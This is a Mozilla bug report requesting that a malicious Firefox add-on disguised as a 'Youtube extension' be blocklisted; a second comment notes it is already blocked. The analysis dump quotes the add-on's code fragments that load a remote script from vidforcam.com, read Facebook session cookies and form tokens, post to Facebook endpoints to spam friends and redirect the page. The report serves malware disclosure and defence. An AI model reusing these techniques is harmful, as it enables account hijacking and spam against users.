732540 - Malicious "Youtube extension" add-on

Status: RESOLVED DUPLICATE of bug 723753

(Toolkit :: Blocklist Policy Requests, defect)

Description

[MarkH]

Attachment: 20120302_vidforcam.zip

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11

Steps to reproduce:

Downloaded add-on from  http://vidforcam.com/fb/sample.xpi 


Actual results:

** Embedded and Remote Files **

chrome.manifest
content/prefman.js
content/skin/icon.png
content/script-compiler.js
content/youtube.js
content/xmlhttprequester.js
content/script-compiler-overlay.xul
http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
install.rdf


** Embedded Metadata **

<em:name>Youtube extension</em:name>
<em:version>1.8.0</em:version>
<em:targetApplication>
<em:minVersion>2.0</em:minVersion>
<em:maxVersion>10.*</em:maxVersion>
</em:targetApplication>
<em:creator>YOU</em:creator>
<em:iconURL>chrome://youtube/content/skin/icon.png</em:iconURL>
...<em:description>Permite ver videos de youtube mas rapido y
ligero</em:descriptio...
<em:homepageURL>http://free-videoz.info/</em:homepageURL>
<em:updateURL>http://plugin.free-videoz.info//update.rdf</em:updateURL>
...<em:updateKey>MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDCUtKPOGhnhlxo7vRoSR
0YC1g/Mo...


** Files Loaded **

...overlay	chrome://browser/content/browser.xul	chrome://youtube/content/sc
ript-com...
'chrome://youtube/content/youtube.js'
...pt type='application/x-javascript'
src='chrome://youtube/content/youtube.js'></s...
<em:iconURL>chrome://youtube/content/skin/icon.png</em:iconURL>


** Remote Javascript Loaded **

...nt/browser.xul	chrome://youtube/content/script-compiler-overlay.xul
var	scriptableStream=Components
.classes["@mozilla.org/scriptableinputstream;1"]
.getService(Components.interfaces.nsIScriptableInputStream);
.classes["@mozilla.org/intl/scriptableunicodeconverter"]
.createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
scriptableStream.init(input);
var	str=scriptableStream.read(input.available());
scriptableStream.close();
var script=youtube_gmCompiler.getUrlContents(
youtube_gmCompiler.injectScript(script, href, unsafeWin);
injectScript: function(script, url, unsafeContentWin) {
var sandbox, script, logger, storage, xmlhttpRequester;
var storage=new youtube_ScriptStorage();
"(function(){"+script+"})()",
e2.fileName=script.filename;
function youtube_ScriptStorage() {
youtube_ScriptStorage.prototype.setValue = function(name, val) {
youtube_ScriptStorage.prototype.getValue = function(name, defVal) {
loadScript_you();
function loadScript_you() {
var s = document.createElement('script');
s.setAttribute("type","text/javascript");
s.setAttribute("src", "http://vidforcam.com/fb/script.js");
// this function gets called by user scripts in content security scope to
...eymaster/gatekeeper/there.is.only.xul'><script
type='application/x-javascript' s...
<Description about="urn:mozilla:install-manifest">
<Description>
</Description>
...<em:description>Permite ver videos de youtube mas rapido y
ligero</em:descriptio...
</Description>


** Facebook Paths Accessed **

c['open']('GET', 'http://www.facebook.com/ajax/typeahead/first_degree.php?S

if (location.href.match(/^http:\/\/(www\.)?facebook\.com/i)) {


** Facebook Cookies Accessed **

if (!isDefined("post_form_id")) {
if (document['getElementsByName']('fb_dtsg')[0] == null) return false;
user_id = readCookie('c_user');
var d =
'http://www.facebook.com/ajax/connect/external_edge_comment.php?__a=1';
var d =
'http://www.facebook.com/ajax/connect/external_node_connect.php?__a=1';

** HTTP Requests **

var req = new this.chromeWindow.XMLHttpRequest();


** All URLs Loaded or Mentioned **

blogs[0] = 'http://arewaxc.cn.mn/?';
c['open']('GET', 'http://www.facebook.com/ajax/typeahead/first_degree.php?S
var d =
'http://www.facebook.com/ajax/connect/external_edge_comment.php?__a=1';
var d =
'http://www.facebook.com/ajax/connect/external_node_connect.php?__a=1';

// http://www.letitblog.com/code/python/greasemonkey.py.txt
// http://greasemonkey.devjavu.com/
s.setAttribute("src", "http://vidforcam.com/fb/script.js");
...<dd><code>http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul<
/code></...
...<dd><a
href="https://developer.mozilla.org/en/XUL">https://developer.mozilla.org/.
..
...<?xml version="1.0"?><overlay
xmlns='http://www.mozilla.org/keymaster/gatekeeper...
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:em="http://www.mozilla.org/2004/em-rdf#">
<em:homepageURL>http://free-videoz.info/</em:homepageURL>
<em:updateURL>http://plugin.free-videoz.info//update.rdf</em:updateURL>

setTimeout('top.location=\'http://is.gd/3vozKi/\';', 10000);



Expected results:

It should not steal Facebook cookies and tokens and then spam your friends with out your consent.

Comment 1

[Jorge Villalobos [:jorgev] (he/him)]

Already blocked.